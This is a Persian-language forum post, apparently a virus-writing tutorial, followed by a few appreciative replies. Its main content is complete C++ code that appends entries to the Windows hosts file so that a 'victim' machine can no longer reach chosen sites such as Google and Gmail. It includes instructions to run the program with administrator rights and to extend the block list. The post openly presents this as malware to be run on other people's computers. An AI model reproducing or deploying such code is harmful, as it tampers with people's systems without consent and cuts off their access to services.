با استفاده از کدهایی که تو این پست قرار میدم
توی ویروس نویسی میتونیم کاری کنیم که فرد مبتلا شده به ویروس ما دیگه نتونه سایت مد نظر مارو بازش کنه
قبل از گفتن کد ها پیشنهاد میکنم به مسیر پایین برین
C:\Windows\System32\Drivers\etc
وقتی وارد شدین روی فایل Hosts کلیک راست کنین و Edit رو بزنین و چیزایی که گفته رو بخونین
وقتی که خوندین متوجه خواهین شد که ما با قرار دادن آدرس آی پی یا آدرس سایت توی این فایل میتونیم یه سایت رو بلاک کنیم
یعنی وقتی سایتی رو توی اون قرار دادیم دیگه نشه اون سایت رو بازش کرد
در نتیجه ما هم با سی پلاس پلاس میایم و آدرس سایتمون رو میدیم به فایل Hosts
بعدا اونوقت برناممون روی سیستم یارو اجرا شد
کاربر قربانی هم دیگه نمیتونه اون سایت مد نظر مارو بازش کنه
پروژه به زبان سی پلاس پلاس از نوع کنسول بزنین و کدهای پایین رو به جای کل کدهای فایل Main خودتون قرار بدین
#include <iostream>
#include <fstream>
#include <windows.h>
using namespace std;
int main()
{
FILE *fp;
int i;
char hosts_file_path[FILENAME_MAX];
char ip[] = "0.0.0.0";
char *blist[] = {
"www.google.com",
"google.com",
"#"
};
strcpy (hosts_file_path, getenv ("SystemRoot"));
strcat (hosts_file_path, "\\system32\\drivers\\etc\\hosts");
if ((fp = fopen (hosts_file_path, "a")) == NULL)
return 0;
fputs ("\n", fp);
for (i = 0; blist[i][0] != '#'; i++)
{
fputs (ip, fp);
fputs (" ", fp);
fputs (blist[i], fp);
fputs ("\n", fp);
}
fclose (fp);
return 0;
}
حالا برنامه رو یکبار کامپایل کنین و به کنار برنامه برین و اون رو با دسترسی ادمین بازش کنین
حالا وقتی که وارد سایت گوگل بشیم میبینیم که دیگه سایتش باز نمیشه :(
برای اینکه از این مشکل جلوگیری کنین
برین به مسیری که اول پست گفتم و ...
راستی اگه سایت دیگه ای هم مد نظرتونه ، اگه خواستین سایت دیگه ای رو توی لیست سیاه قرار بدین
میتونین کدهای قسمت blist رو به شکل پایین بنویسید
char *blist[] = {
"www.google.com",
"google.com",
"www.gmail.com",
"gmail.com",
"#"
};
خب دیگه تا جایی که تونستم توضیح دادم
موفق باشید
برای یه امر خیر به این نیاز داشتم
میخوام دیگه کسی با فیلتر شکنم نتونه بره تو سایت های +18
خبرشو بعد از تموم شدن پروژه بهت میدم
خیلی آقایی
بازم از این پستا بزار
بازم دمت گرم